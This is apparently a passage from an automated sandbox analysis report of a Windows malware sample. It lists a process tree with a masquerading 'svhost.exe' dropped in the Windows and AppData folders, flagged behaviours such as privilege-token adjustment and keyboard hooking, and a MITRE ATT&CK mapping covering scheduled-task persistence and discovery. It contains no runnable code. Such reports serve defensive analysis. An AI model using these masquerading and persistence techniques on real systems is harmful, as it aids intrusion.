C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:616

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:3876

C:\Windows\svhost.exe
C:\Windows\svhost.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2820

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:116

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
- Suspicious use of SetWindowsHookEx
PID:3116

C:\Users\Admin\AppData\Roaming\svhost.exe
C:\Users\Admin\AppData\Roaming\svhost.exe
1⤵
- Executes dropped EXE
PID:4200

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Enumerates system info in registry
PID:4984

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Credential Access

Discovery

Query Registry

System Information Discovery